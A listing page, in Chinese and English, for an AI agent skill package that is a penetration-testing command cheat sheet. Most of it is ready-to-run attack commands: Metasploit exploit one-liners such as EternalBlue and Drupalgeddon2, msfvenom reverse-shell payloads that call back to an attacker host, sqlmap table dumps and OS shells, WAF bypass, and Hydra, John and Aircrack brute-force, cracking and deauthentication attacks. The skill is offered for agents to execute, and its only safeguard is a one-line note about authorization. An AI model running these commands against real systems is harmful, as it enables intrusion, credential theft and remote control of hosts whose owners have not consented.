渗透测试命令大全：Nmap、Metasploit等工具实战指南与参考手册

pentest-commands by sickn33/antigravity-awesome-skills

153 周安装量

27,100 GitHub Stars

GitHub

安装命令

npx skills add https://github.com/sickn33/antigravity-awesome-skills --skill pentest-commands

命令行工具测试安全

🇨🇳中文介绍

渗透测试命令

目的

提供一份全面的渗透测试工具命令参考，涵盖网络扫描、漏洞利用、密码破解和Web应用测试。便于在安全评估期间快速查找命令。

输入/先决条件

Kali Linux 或渗透测试发行版
获得授权的目标IP地址
用于暴力破解的字典文件
对目标系统的网络访问权限
对工具语法的基本理解

输出/交付成果

网络枚举结果
已识别的漏洞
漏洞利用载荷
已破解的凭据
Web漏洞发现

核心工作流程

1. Nmap 命令

主机发现：

# Ping 扫描
nmap -sP 192.168.1.0/24

# 列出IP而不扫描
nmap -sL 192.168.1.0/24

# Ping 扫描（主机发现）
nmap -sn 192.168.1.0/24

端口扫描：

# TCP SYN 扫描（隐蔽）
nmap -sS 192.168.1.1

# 完整TCP连接扫描
nmap -sT 192.168.1.1

# UDP 扫描
nmap -sU 192.168.1.1

# 所有端口（1-65535）
nmap -p- 192.168.1.1

# 指定端口
nmap -p 22,80,443 192.168.1.1

服务检测：

# 服务版本
nmap -sV 192.168.1.1

# 操作系统检测
nmap -O 192.168.1.1

# 全面扫描
nmap -A 192.168.1.1

# 跳过主机发现
nmap -Pn 192.168.1.1

广告位招租

在这里展示您的产品或服务

触达数万 AI 开发者，精准高效

联系我们

2. Metasploit 命令

# 启动 Metasploit
msfconsole

# 搜索漏洞利用模块
search type:exploit name:smb

# 使用漏洞利用模块
use exploit/windows/smb/ms17_010_eternalblue

# 显示选项
show options

# 设置目标
set RHOST 192.168.1.1

# 设置载荷
set PAYLOAD windows/meterpreter/reverse_tcp

# 运行漏洞利用
exploit

常见漏洞利用：

# EternalBlue
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"

# MS08-067 (Conficker)
msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit"

# vsftpd 后门
msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"

# Shellshock
msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit"

# Drupalgeddon2
msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit"

# PSExec
msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit"

# TCP 端口扫描
msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run"

# SMB 版本扫描
msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run"

# SMB 共享枚举
msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run"

# SSH 暴力破解
msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"

# FTP 暴力破解
msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"

# RDP 扫描
msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run"

处理器设置：

# 用于反向shell的多处理器
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit"

载荷生成（msfvenom）：

# Windows 反向shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe

# Linux 反向shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf

# PHP 反向shell
msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php

# ASP 反向shell
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp

# WAR 文件
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war

# Python 载荷
msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py

# 基本扫描
nikto -h http://192.168.1.1

# 全面扫描
nikto -h http://192.168.1.1 -C all

# 输出到文件
nikto -h http://192.168.1.1 -output report.html

# 基于插件的扫描
nikto -h http://192.168.1.1 -Plugins robots
nikto -h http://192.168.1.1 -Plugins shellshock
nikto -h http://192.168.1.1 -Plugins heartbleed
nikto -h http://192.168.1.1 -Plugins ssl

# 导出到 Metasploit
nikto -h http://192.168.1.1 -Format msf+

# 特定调优
nikto -h http://192.168.1.1 -Tuning 1  # 仅有趣的文件

# 基本注入测试
sqlmap -u "http://192.168.1.1/page?id=1"

# 枚举数据库
sqlmap -u "http://192.168.1.1/page?id=1" --dbs

# 枚举表
sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables

# 转储表
sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump

# 操作系统shell
sqlmap -u "http://192.168.1.1/page?id=1" --os-shell

# POST 请求
sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test"

# Cookie 注入
sqlmap -u "http://192.168.1.1/page" --cookie="id=1*"

# 绕过 WAF
sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment

# 风险和等级
sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5

# SSH 暴力破解
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1

# FTP 暴力破解
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1

# HTTP POST 表单
hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

# HTTP 基本认证
hydra -l admin -P passwords.txt 192.168.1.1 http-get /admin/

# SMB 暴力破解
hydra -l admin -P passwords.txt smb://192.168.1.1

# RDP 暴力破解
hydra -l admin -P passwords.txt rdp://192.168.1.1

# MySQL 暴力破解
hydra -l root -P passwords.txt mysql://192.168.1.1

# 用户名列表
hydra -L users.txt -P passwords.txt ssh://192.168.1.1

6. John the Ripper 命令

# 破解密码文件
john hash.txt

# 指定字典
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

# 显示已破解的密码
john hash.txt --show

# 指定格式
john hash.txt --format=raw-md5
john hash.txt --format=nt
john hash.txt --format=sha512crypt

# SSH 密钥密码短语
ssh2john id_rsa > ssh_hash.txt
john ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

# ZIP 密码
zip2john file.zip > zip_hash.txt
john zip_hash.txt

7. Aircrack-ng 命令

# 监听模式
airmon-ng start wlan0

# 捕获数据包
airodump-ng wlan0mon

# 针对特定网络
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# 取消认证攻击
aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# 破解 WPA 握手包
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

8. Wireshark/Tshark 命令

# 捕获流量
tshark -i eth0 -w capture.pcap

# 读取捕获文件
tshark -r capture.pcap

# 按协议过滤
tshark -r capture.pcap -Y "http"

# 按 IP 过滤
tshark -r capture.pcap -Y "ip.addr == 192.168.1.1"

# 提取 HTTP 数据
tshark -r capture.pcap -Y "http" -T fields -e http.request.uri

# 快速扫描
nmap -F 192.168.1.1

# 完整全面扫描
nmap -sV -sC -A -p- 192.168.1.1

# 快速带版本扫描
nmap -sV -T4 192.168.1.1

模式	类型
0	MD5
100	SHA1
1000	NTLM
1800	sha512crypt
3200	bcrypt
13100	Kerberoast

始终拥有书面授权
某些扫描会产生噪音且可被检测到
暴力破解可能导致账户锁定
速率限制会影响工具使用

示例 1：快速漏洞扫描

nmap -sV --script vuln 192.168.1.1

示例 2：Web 应用测试

nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs

问题	解决方案
扫描太慢	增加时序（-T4, -T5）
端口被过滤	尝试不同的扫描类型
漏洞利用失败	检查目标版本兼容性
密码无法破解	尝试更大的字典文件、规则

此技能适用于执行概述中描述的工作流程或操作。

🇺🇸English

Pentest Commands

Purpose

Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.

Inputs/Prerequisites

Kali Linux or penetration testing distribution
Target IP addresses with authorization
Wordlists for brute forcing
Network access to target systems
Basic understanding of tool syntax

Outputs/Deliverables

Network enumeration results
Identified vulnerabilities
Exploitation payloads
Cracked credentials
Web vulnerability findings

Core Workflow

1. Nmap Commands

Host Discovery:

# Ping sweep
nmap -sP 192.168.1.0/24

# List IPs without scanning
nmap -sL 192.168.1.0/24

# Ping scan (host discovery)
nmap -sn 192.168.1.0/24

Port Scanning:

# TCP SYN scan (stealth)
nmap -sS 192.168.1.1

# Full TCP connect scan
nmap -sT 192.168.1.1

# UDP scan
nmap -sU 192.168.1.1

# All ports (1-65535)
nmap -p- 192.168.1.1

# Specific ports
nmap -p 22,80,443 192.168.1.1

Service Detection:

# Service versions
nmap -sV 192.168.1.1

# OS detection
nmap -O 192.168.1.1

# Comprehensive scan
nmap -A 192.168.1.1

# Skip host discovery
nmap -Pn 192.168.1.1

NSE Scripts:

# Vulnerability scan
nmap --script vuln 192.168.1.1

# SMB enumeration
nmap --script smb-enum-shares -p 445 192.168.1.1

# HTTP enumeration
nmap --script http-enum -p 80 192.168.1.1

# Check EternalBlue
nmap --script smb-vuln-ms17-010 192.168.1.1

# Check MS08-067
nmap --script smb-vuln-ms08-067 192.168.1.1

# SSH brute force
nmap --script ssh-brute -p 22 192.168.1.1

# FTP anonymous
nmap --script ftp-anon 192.168.1.1

# DNS brute force
nmap --script dns-brute 192.168.1.1

# HTTP methods
nmap -p80 --script http-methods 192.168.1.1

# HTTP headers
nmap -p80 --script http-headers 192.168.1.1

# SQL injection check
nmap --script http-sql-injection -p 80 192.168.1.1

Advanced Scans:

# Xmas scan
nmap -sX 192.168.1.1

# ACK scan (firewall detection)
nmap -sA 192.168.1.1

# Window scan
nmap -sW 192.168.1.1

# Traceroute
nmap --traceroute 192.168.1.1

2. Metasploit Commands

Basic Usage:

# Launch Metasploit
msfconsole

# Search for exploits
search type:exploit name:smb

# Use exploit
use exploit/windows/smb/ms17_010_eternalblue

# Show options
show options

# Set target
set RHOST 192.168.1.1

# Set payload
set PAYLOAD windows/meterpreter/reverse_tcp

# Run exploit
exploit

Common Exploits:

# EternalBlue
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"

# MS08-067 (Conficker)
msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit"

# vsftpd backdoor
msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"

# Shellshock
msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit"

# Drupalgeddon2
msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit"

# PSExec
msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit"

Scanners:

# TCP port scan
msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run"

# SMB version scan
msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run"

# SMB share enumeration
msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run"

# SSH brute force
msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"

# FTP brute force
msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"

# RDP scanning
msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run"

Handler Setup:

# Multi-handler for reverse shells
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit"

Payload Generation (msfvenom):

# Windows reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe

# Linux reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf

# PHP reverse shell
msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php

# ASP reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp

# WAR file
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war

# Python payload
msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py

3. Nikto Commands

# Basic scan
nikto -h http://192.168.1.1

# Comprehensive scan
nikto -h http://192.168.1.1 -C all

# Output to file
nikto -h http://192.168.1.1 -output report.html

# Plugin-based scans
nikto -h http://192.168.1.1 -Plugins robots
nikto -h http://192.168.1.1 -Plugins shellshock
nikto -h http://192.168.1.1 -Plugins heartbleed
nikto -h http://192.168.1.1 -Plugins ssl

# Export to Metasploit
nikto -h http://192.168.1.1 -Format msf+

# Specific tuning
nikto -h http://192.168.1.1 -Tuning 1  # Interesting files only

4. SQLMap Commands

# Basic injection test
sqlmap -u "http://192.168.1.1/page?id=1"

# Enumerate databases
sqlmap -u "http://192.168.1.1/page?id=1" --dbs

# Enumerate tables
sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables

# Dump table
sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump

# OS shell
sqlmap -u "http://192.168.1.1/page?id=1" --os-shell

# POST request
sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test"

# Cookie injection
sqlmap -u "http://192.168.1.1/page" --cookie="id=1*"

# Bypass WAF
sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment

# Risk and level
sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5

5. Hydra Commands

# SSH brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1

# FTP brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1

# HTTP POST form
hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

# HTTP Basic Auth
hydra -l admin -P passwords.txt 192.168.1.1 http-get /admin/

# SMB brute force
hydra -l admin -P passwords.txt smb://192.168.1.1

# RDP brute force
hydra -l admin -P passwords.txt rdp://192.168.1.1

# MySQL brute force
hydra -l root -P passwords.txt mysql://192.168.1.1

# Username list
hydra -L users.txt -P passwords.txt ssh://192.168.1.1

6. John the Ripper Commands

# Crack password file
john hash.txt

# Specify wordlist
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Show cracked passwords
john hash.txt --show

# Specify format
john hash.txt --format=raw-md5
john hash.txt --format=nt
john hash.txt --format=sha512crypt

# SSH key passphrase
ssh2john id_rsa > ssh_hash.txt
john ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

# ZIP password
zip2john file.zip > zip_hash.txt
john zip_hash.txt

7. Aircrack-ng Commands

# Monitor mode
airmon-ng start wlan0

# Capture packets
airodump-ng wlan0mon

# Target specific network
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Deauth attack
aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Crack WPA handshake
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

8. Wireshark/Tshark Commands

# Capture traffic
tshark -i eth0 -w capture.pcap

# Read capture file
tshark -r capture.pcap

# Filter by protocol
tshark -r capture.pcap -Y "http"

# Filter by IP
tshark -r capture.pcap -Y "ip.addr == 192.168.1.1"

# Extract HTTP data
tshark -r capture.pcap -Y "http" -T fields -e http.request.uri

Quick Reference

Common Port Scans

# Quick scan
nmap -F 192.168.1.1

# Full comprehensive
nmap -sV -sC -A -p- 192.168.1.1

# Fast with version
nmap -sV -T4 192.168.1.1

Password Hash Types

Mode	Type
0	MD5
100	SHA1
1000	NTLM
1800	sha512crypt
3200	bcrypt
13100	Kerberoast

Constraints

Always have written authorization
Some scans are noisy and detectable
Brute forcing may lock accounts
Rate limiting affects tools

Examples

Example 1: Quick Vulnerability Scan

nmap -sV --script vuln 192.168.1.1

Example 2: Web App Test

nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs

Troubleshooting

Issue	Solution
Scan too slow	Increase timing (-T4, -T5)
Ports filtered	Try different scan types
Exploit fails	Check target version compatibility
Passwords not cracking	Try larger wordlists, rules

When to Use

This skill is applicable to execute the workflow or actions described in the overview.

Weekly Installs

153

Repository

sickn33/antigra…e-skills

GitHub Stars

27.1K

First Seen

Feb 21, 2026

Security Audits

Gen Agent Trust HubWarn SocketWarn SnykFail

Installed on

opencode149

kimi-cli147

gemini-cli147

amp147

github-copilot147

codex147

Better Auth 最佳实践指南：集成、配置与安全设置完整教程

31,800 周安装